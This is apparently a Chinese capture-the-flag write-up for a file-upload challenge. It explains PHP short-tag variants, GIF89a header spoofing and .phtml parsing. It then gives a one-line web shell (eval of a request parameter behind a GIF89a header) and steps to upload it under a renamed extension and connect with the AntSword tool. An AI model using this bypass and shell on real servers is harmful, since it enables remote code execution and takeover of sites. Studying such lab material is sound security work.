目录
题目信息
尝试一句话木马后发现，文件内容不能有 <?? ，后缀不能是php
核心知识点（一）——php短标签
php短标签
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> #不需要开启参数设置
<% echo '123';%> #开启配置参数asp_tags=on，并且只能在7.0以下版本使用
<script language="php">echo '123'; </script> #不需要修改参数开关，但是只能在7.0以下可用。
所以此处可以用最后一个绕过。（复制的时候小心单双引号）
核心知识点（二）——GIF89a图片头文件欺骗
核心知识点（三）——phtml
php3 php4 phtml 都会被当成php解析
解题步骤
木马内容
GIF89a
<script language="php">@eval($_REQUEST['a']);</script>
修改木马为 3.jpg
上传时，拦截，修改文件名为 3.phtml
路径是猜测的。猜测为 /upload/3.html
?
?蚁剑连接
?根目录找到flag
?